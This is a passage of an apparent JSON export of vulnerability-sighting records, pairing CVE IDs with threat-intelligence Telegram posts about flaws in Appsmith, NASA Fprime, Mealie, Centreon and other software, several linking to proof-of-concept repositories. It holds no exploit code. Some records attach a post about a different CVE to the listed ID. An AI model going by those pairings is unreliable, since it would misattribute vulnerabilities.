4.8 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: Appsmith is a platform to build admin panels, internal tools, and dashboards. Users invited as \"App Viewer\" should not have access to development information of a workspace. Datasources are such a component in a workspace. Yet, in versions of Appsmith prior to 1.51, app viewers are able to get a list of datasources in a workspace they're a member of. This information disclosure does NOT expose sensitive data in the datasources, such as database passwords and API Keys. The attacker needs to have been invited to a workspace as a \"viewer\", by someone in that workspace with access to invite. The attacker then needs to be able to signup/login to that Appsmith instance. The issue is patched in version 1.51. No known workarounds are available.\n\ud83d\udccf Published: 2025-03-25T14:15:05.339Z\n\ud83d\udccf Modified: 2025-03-25T14:15:05.339Z\n\ud83d\udd17 References:\n1. https://github.com/appsmithorg/appsmith/security/advisories/GHSA-794x-gm8v-2wj6", "creation_timestamp": "2025-03-25T14:24:13.000000Z"}, {"uuid": "c70670c5-4bf9-471a-bb8a-4bfa9a2f8038", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55964", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8967", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55964\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue was discovered in Appsmith before 1.52. An incorrectly configured PostgreSQL instance in the Appsmith image leads to remote command execution inside the Appsmith Docker container. The attacker must be able to access Appsmith, login to it, create a datasource, create a query against that datasource, and execute that query.\n\ud83d\udccf Published: 2025-03-26T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-26T20:07:25.669Z\n\ud83d\udd17 References:\n1. https://github.com/appsmithorg/appsmith/security/advisories/GHSA-m95x-4w54-gc83", "creation_timestamp": "2025-03-26T20:25:59.000000Z"}, {"uuid": "5ed25e2e-bffd-487c-8578-deb3ed53276a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55029", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8751", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55029\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: NASA Fprime v3.4.3 was discovered to contain multiple cross-site scripting (XSS) vulnerabilities.\n\ud83d\udccf Published: 2025-03-25T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-25T20:16:14.353Z\n\ud83d\udd17 References:\n1. https://visionspace.com/remote-code-execution-and-critical-vulnerabilities-in-nasa-fprime-v3-4-3/", "creation_timestamp": "2025-03-25T20:24:13.000000Z"}, {"uuid": "05f951c6-3650-4340-9f50-d1b1e76ee022", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55030", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8750", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55030\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A command injection vulnerability in the Command Dispatcher Service of NASA Fprime v3.4.3 allows attackers to execute arbitrary commands.\n\ud83d\udccf Published: 2025-03-25T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-25T20:16:43.823Z\n\ud83d\udd17 References:\n1. https://visionspace.com/remote-code-execution-and-critical-vulnerabilities-in-nasa-fprime-v3-4-3/", "creation_timestamp": "2025-03-25T20:24:12.000000Z"}, {"uuid": "aed74147-9bd8-4b67-9d8c-51329966bb21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55965", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8959", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55965\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue was discovered in Appsmith before 1.51. Users invited as \"App Viewer\" incorrectly have access to development information of a workspace (specifically, a list of datasources in a workspace they're a member of). This information disclosure does not expose sensitive data in the datasources, such as database passwords and API Keys.\n\ud83d\udccf Published: 2025-03-26T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-26T20:12:18.796Z\n\ud83d\udd17 References:\n1. https://github.com/appsmithorg/appsmith/security/advisories/GHSA-794x-gm8v-2wj6", "creation_timestamp": "2025-03-26T20:25:48.000000Z"}, {"uuid": "80c7a882-bbd1-495a-a64c-dff83ce1b75d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55963", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8963", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55963\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue was discovered in Appsmith before 1.51. A user on Appsmith that doesn't have admin permissions can trigger the restart API on Appsmith, causing a server restart. This is still within the Appsmith container, and the impact is limited to Appsmith's own server only, but there is a denial of service because it can be continually restarted. This is due to incorrect access control checks, which should check for super user permissions on the incoming request.\n\ud83d\udccf Published: 2025-03-26T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-26T20:09:16.461Z\n\ud83d\udd17 References:\n1. https://github.com/appsmithorg/appsmith/security/advisories/GHSA-6mc8-hw5c-7qqr", "creation_timestamp": "2025-03-26T20:25:52.000000Z"}, {"uuid": "f06438fd-6007-4938-90ae-82c2bf3ffdbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55073", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/9188", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55073\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A Broken Object Level Authorization vulnerability in the component /api/users/{user-id} of hay-kot mealie v2.2.0 allows users to edit their own profile in order to give themselves more permissions or to change their household.\n\ud83d\udccf Published: 2025-03-27T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-27T19:05:02.855Z\n\ud83d\udd17 References:\n1. https://github.com/mealie-recipes/mealie/issues/4593\n2. https://m10x.de/posts/2025/03/all-your-recipe-are-belong-to-us-part-3/3-broken-access-controls-leading-to-privilege-escalation-and-more-in-mealie/", "creation_timestamp": "2025-03-27T19:27:01.000000Z"}, {"uuid": "f7119c9b-31f6-4556-8c7c-c3ee8daba6c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55072", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/9187", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55072\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A Broken Object Level Authorization vulnerability in the component /api/users/{user-id} of hay-kot mealie v2.2.0 allows users to edit their own profile in order to give themselves more permissions or to change their household.\n\ud83d\udccf Published: 2025-03-27T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-27T19:06:11.033Z\n\ud83d\udd17 References:\n1. https://github.com/mealie-recipes/mealie/issues/4593\n2. https://m10x.de/posts/2025/03/all-your-recipe-are-belong-to-us-part-3/3-broken-access-controls-leading-to-privilege-escalation-and-more-in-mealie/", "creation_timestamp": "2025-03-27T19:27:00.000000Z"}, {"uuid": "81f682d0-3ab3-4ace-8371-7b9cbd8b7be6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55895", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/9542", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55895\n\ud83d\udd25 CVSS Score: 2.7 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N)\n\ud83d\udd39 Description: IBM InfoSphere Information Server 11.7 could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser.  This information could be used in further attacks against the system.\n\ud83d\udccf Published: 2025-03-29T12:22:50.518Z\n\ud83d\udccf Modified: 2025-03-29T12:22:50.518Z\n\ud83d\udd17 References:\n1. https://www.ibm.com/support/pages/node/7185450", "creation_timestamp": "2025-03-29T13:28:42.000000Z"}, {"uuid": "f630ebb8-8c52-4b5a-a45f-d294ea6b6d1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55279", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/9979", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55279\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Uguu through 1.8.9 allows Cross Site Scripting (XSS) via JavaScript in XML files.\n\ud83d\udccf Published: 2025-03-24T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-01T18:06:38.362Z\n\ud83d\udd17 References:\n1. https://github.com/nokonoko/Uguu/\n2. https://codeberg.org/zypressen/CVE-2024-55279", "creation_timestamp": "2025-04-01T18:33:02.000000Z"}, {"uuid": "7f1e4fa6-7cf5-43f0-af15-4bbc847c7f53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/ocelotlsec.bsky.social/post/3mkk7uoll2h2g", "content": "", "creation_timestamp": "2026-04-28T09:00:09.758397Z"}, {"uuid": "60c80d99-64ea-48e1-9b3a-4c110f82d1de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5594", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/10997", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-5594\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: OpenVPN before 2.6.11 does not santize PUSH_REPLY messages properly which an attacker controlling the server can use to inject unexpected arbitrary data ending up in client logs.\n\ud83d\udccf Published: 2025-01-06T13:52:20.272Z\n\ud83d\udccf Modified: 2025-04-08T20:40:13.684Z\n\ud83d\udd17 References:\n1. https://community.openvpn.net/openvpn/wiki/CVE-2024-5594\n2. https://www.mail-archive.com/openvpn-users@lists.sourceforge.net/msg07634.html", "creation_timestamp": "2025-04-08T20:46:39.000000Z"}, {"uuid": "cf5ffe28-b3a0-49b0-a382-37c316646d4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55354", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11078", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55354\n\ud83d\udd25 CVSS Score: 5.1 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)\n\ud83d\udd39 Description: Lucee before 5.4.7.3 LTS and 6 before 6.1.1.118, when an attacker can place files on the server, is vulnerable to a protection mechanism failure that can let an attacker run code that would be expected to be blocked and access resources that would be expected to be protected.\n\ud83d\udccf Published: 2025-04-08T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-09T14:29:42.027Z\n\ud83d\udd17 References:\n1. https://dev.lucee.org/t/lucee-cve-2024-55354-security-advisory-april-2025/14963", "creation_timestamp": "2025-04-09T14:48:30.000000Z"}, {"uuid": "e7641829-d8eb-4afd-a9a2-c92807c5f55d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55211", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/12295", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55211\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in Think Router Tk-Rt-Wr135G V3.0.2-X000 allows attackers to bypass authentication via a crafted cookie.\n\ud83d\udccf Published: 2025-04-17T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-17T17:46:10.051Z\n\ud83d\udd17 References:\n1. https://github.com/micaelmaciel/CVE-2024-55211", "creation_timestamp": "2025-04-17T17:57:27.000000Z"}, {"uuid": "8d73ba54-4ca6-437b-97ca-849cfc1117ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55571", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/13214", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-3872\n\ud83d\udd25 CVSS Score: 7.2 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Centreon centreon-web (User configuration form modules) allows SQL Injection.\n\n\nA user with high privileges is able to become administrator by intercepting the contact form request and altering its payload.\n\n\n\nThis issue affects Centreon: from 22.10.0 before 22.10.28, from 23.04.0 before 23.04.25, from 23.10.0 before 23.10.20, from 24.04.0 before 24.04.10, from 24.10.0 before 24.10.4.\n\ud83d\udccf Published: 2025-04-24T09:19:33.900Z\n\ud83d\udccf Modified: 2025-04-24T09:19:33.900Z\n\ud83d\udd17 References:\n1. https://thewatch.centreon.com/latest-security-bulletins-64/cve-2024-55571-centreon-web-high-severity-4496\n2. https://github.com/centreon/centreon/releases", "creation_timestamp": "2025-04-24T10:08:03.000000Z"}, {"uuid": "77751148-80ee-4c27-a956-42bffa4ed237", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55542", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/13173", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55542\n\ud83d\udd25 CVSS Score: 4.4 (cvssV3_0, Vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N)\n\ud83d\udd39 Description: Local privilege escalation due to excessive permissions assigned to Tray Monitor service. The following products are affected: Acronis Cyber Protect 16 (Linux, macOS, Windows) before build 39169, Acronis Cyber Protect Cloud Agent (Linux, macOS, Windows) before build 35895.\n\ud83d\udccf Published: 2025-01-02T15:26:40.928Z\n\ud83d\udccf Modified: 2025-04-24T03:55:28.346Z\n\ud83d\udd17 References:\n1. https://security-advisory.acronis.com/advisories/SEC-5342", "creation_timestamp": "2025-04-24T04:05:46.000000Z"}, {"uuid": "682f7ab1-ff55-40f2-84cf-967d2385f169", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55651", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15463", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55651\n\ud83d\udd25 CVSS Score: 2 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P)\n\ud83d\udd39 Description: i-Educar is free, fully online school management software. Version 2.9 of the application fails to properly validate and sanitize user supplied input, leading to a stored cross-site scripting vulnerability that resides within the user type (Tipo de Usu\u00e1rio) input field. Through this attacker vector a malicious user might be able to retrieve information belonging to another user, which may lead to sensitive information leakage or other malicious actions. As of time of publication, no patched versions are known to exist.\n\ud83d\udccf Published: 2025-05-07T23:49:46.016Z\n\ud83d\udccf Modified: 2025-05-07T23:50:09.438Z\n\ud83d\udd17 References:\n1. https://github.com/portabilis/i-educar/security/advisories/GHSA-8fjj-9937-g84w", "creation_timestamp": "2025-05-08T00:23:30.000000Z"}, {"uuid": "bbe7c1d6-e5eb-42be-bc02-dba1f4f29566", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55466", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16032", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55466\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An arbitrary file upload vulnerability in the Image Gallery of ThingsBoard Community, ThingsBoard Cloud and ThingsBoard Professional v3.8.1 allows attackers to execute arbitrary code via uploading a crafted file.\n\ud83d\udccf Published: 2025-05-12T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-12T18:47:12.361Z\n\ud83d\udd17 References:\n1. https://github.com/thingsboard/thingsboard/releases/tag/v3.8.1\n2. https://github.com/cybsecsid/ThingsBoard-IoT-Platform-CVE-2024-55466", "creation_timestamp": "2025-05-12T19:29:22.000000Z"}, {"uuid": "b69761a2-eb86-4750-aa68-4d3cfa2b6ac6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55575", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/16091", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4648\n\ud83d\udd25 CVSS Score: 8.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H)\n\ud83d\udd39 Description: Download of Code Without Integrity Check vulnerability in Centreon web allows Reflected XSS.\nA user with elevated privileges can inject XSS by altering the content of a SVG media during the submit request.\nThis issue affects web: from 24.10.0 before 24.10.5, from 24.04.0 before 24.04.11, from 23.10.0 before 23.10.22, from 23.04.0 before 23.04.27, from 22.10.0 before 22.10.29.\n\ud83d\udccf Published: 2025-05-13T09:45:41.519Z\n\ud83d\udccf Modified: 2025-05-13T09:45:41.519Z\n\ud83d\udd17 References:\n1. https://thewatch.centreon.com/latest-security-bulletins-64/cve-2024-55575-centreon-web-high-severity-4434\n2. https://github.com/centreon/centreon/releases", "creation_timestamp": "2025-05-13T10:30:14.000000Z"}, {"uuid": "97eefdae-62bb-4a6e-817c-c637a79d05e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55572", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/16087", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4646\n\ud83d\udd25 CVSS Score: 7.2 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Improper Privilege Management vulnerability in Centreon web (API Token creation form modules) allows Privilege Escalation.This issue affects web: from 24.04.0 before 24.04.10, from 24.10.0 before 24.10.4.\n\ud83d\udccf Published: 2025-05-13T09:17:35.146Z\n\ud83d\udccf Modified: 2025-05-13T09:19:49.835Z\n\ud83d\udd17 References:\n1. https://thewatch.centreon.com/latest-security-bulletins-64/cve-2024-55572-centreon-web-high-severity-4460\n2. https://github.com/centreon/centreon/releases", "creation_timestamp": "2025-05-13T09:30:35.000000Z"}, {"uuid": "929a721a-ae6b-4d1a-9e4d-9dde34a1f57e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55569", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/16429", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55569\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue was discovered in Samsung Mobile Processor, Wearable Processor, and Modem Exynos 9820, 9825, 980, 990, 850, 1080, 2100, 1280, 2200, 1330, 1380, 1480, 2400, 9110, W920, W930, W1000, Modem 5123, Modem 5300, and Modem 5400. The lack of a length check leads to out-of-bounds writes.\n\ud83d\udccf Published: 2025-05-14T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-14T20:35:59.907Z\n\ud83d\udd17 References:\n1. https://semiconductor.samsung.com/support/quality-support/product-security-updates/\n2. https://semiconductor.samsung.com/support/quality-support/product-security-updates/cve-2024-55569/", "creation_timestamp": "2025-05-14T21:32:36.000000Z"}, {"uuid": "9eef6a13-bb00-428c-afbf-432a4296680c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55585", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18267", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55585\n\ud83d\udd25 CVSS Score: 9 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/S:P/AU:N/RE:M/U:Red)\n\ud83d\udd39 Description: In the moPS App through 1.8.618, all users can access administrative API endpoints without additional authentication, resulting in unrestricted read and write access, as demonstrated by /api/v1/users/resetpassword.\n\ud83d\udccf Published: 2025-06-07T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-13T07:27:37.060Z\n\ud83d\udd17 References:\n1. https://mops.eu\n2. https://karatemuffin.it/data/2025_06_07_CVE-2024-55585_update.json\n3. https://media.ccc.de/v/glt25-504-safety-ja-security-nein-analyse-eines-breit-eingesetzten-einsatzmanagmentsystems-\n4. https://www.mops.eu", "creation_timestamp": "2025-06-13T07:33:04.000000Z"}, {"uuid": "2134c882-01cf-4600-b2e5-442cb44f0d2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55567", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18656", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55567\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_1, Vector: CVSS:3.1/AC:H/AV:L/A:H/C:H/I:H/PR:H/S:C/UI:N)\n\ud83d\udd39 Description: Improper input validation was discovered in UsbCoreDxe in Insyde InsydeH2O kernel 5.4 before 05.47.01, 5.5 before 05.55.01, 5.6 before 05.62.01, and 5.7 before 05.71.01. The SMM module has an SMM call out vulnerability which can be used to write arbitrary memory inside SMRAM and execute arbitrary code at SMM level.\n\ud83d\udccf Published: 2025-06-12T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-17T19:07:52.795Z\n\ud83d\udd17 References:\n1. https://www.insyde.com/security-pledge/sa-2024018/", "creation_timestamp": "2025-06-17T19:39:35.000000Z"}, {"uuid": "6307d3e4-c0ee-4be1-991c-ac4b2791db78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55573", "type": "seen", "source": "https://t.me/cvedetector/16245", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55573 - Centreon centreon-web SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-55573 \nPublished : Jan. 23, 2025, 11:15 p.m. | 35\u00a0minutes ago \nDescription : An issue was discovered in Centreon centreon-web 24.10.x before 24.10.3, 24.04.x before 24.04.9, 23.10.x before 23.10.19, 23.04.x before 23.04.24. A user with high privileges is able to inject SQL into the form used to create virtual metrics. \nSeverity: 9.1 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-24T01:00:32.000000Z"}, {"uuid": "8dda6536-5726-4bc2-abd7-dab9b3dcf7de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55661", "type": "seen", "source": "Telegram/njw-SNmCnbbXLCSpNl5uy3bNGXnaRITwKMK2nK-7tXRcVmk", "content": "", "creation_timestamp": "2025-09-10T00:16:42.000000Z"}, {"uuid": "00b6c928-e5fb-4682-8d40-d78db074d9b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5522", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7474", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-5522 HTML5 Video Player &lt;= 2.5.26 - Unauthenticated SQL Injection\nURL\uff1ahttps://github.com/truonghuuphuc/CVE-2024-5522-Poc\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-05-31T06:58:31.000000Z"}, {"uuid": "be11a5fc-ca9e-4300-bb02-d52e28acd173", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55904", "type": "seen", "source": "https://t.me/cvedetector/18068", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55904 - IBM DevOps Deploy Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55904 \nPublished : Feb. 14, 2025, 4:15 a.m. | 1\u00a0hour, 39\u00a0minutes ago \nDescription : IBM DevOps Deploy 8.0 through 8.0.1.4, 8.1 through 8.1.0.0 / IBM UrbanCode Deploy 7.0 through 7.0.5.25, 7.1 through 7.1.2.21, 7.2 through 7.2.3.14, and 7.3 through 7.3.2.9 could allow a remote privileged authenticated attacker to execute arbitrary commands on the system by sending specially crafted input containing special elements. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-14T07:23:29.000000Z"}, {"uuid": "88bd019c-eeda-4657-8e9d-0fccabb584d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55950", "type": "seen", "source": "https://t.me/CyberBulletin/1864", "content": "\u26a1\ufe0fCVE-2024-55950: Tabby Terminal Emulator Vulnerability Exposes macOS Users to Privacy and Security Risks.\n\n#CyberBulletin", "creation_timestamp": "2024-12-30T13:07:44.000000Z"}, {"uuid": "a1781270-8686-462d-940f-1b834528cf99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55661", "type": "seen", "source": "Telegram/oK6YZ201yH3u36Ld86AIM6irgNnEFdkEpiqcu6eWwkf1L3w", "content": "", "creation_timestamp": "2025-09-11T08:57:05.000000Z"}, {"uuid": "731be8a2-9bee-4866-b0af-8666e4521ba2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "exploited", "source": "https://t.me/ics_cert/1230", "content": "\u0647\u0634\u062f\u0627\u0631\n\u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0641\u0648\u0631\u062a\u06cc \u06af\u06cc\u062a\nCVE-2024-55591 Exploit of FortiGate \u062f\u0631 \u062d\u0627\u0644 \u0641\u0631\u0648\u0634 \u0627\u0633\u062a\n\n \u062a\u06cc\u0645 \u0648\u0628 \u062a\u0627\u0631\u06cc\u06a9 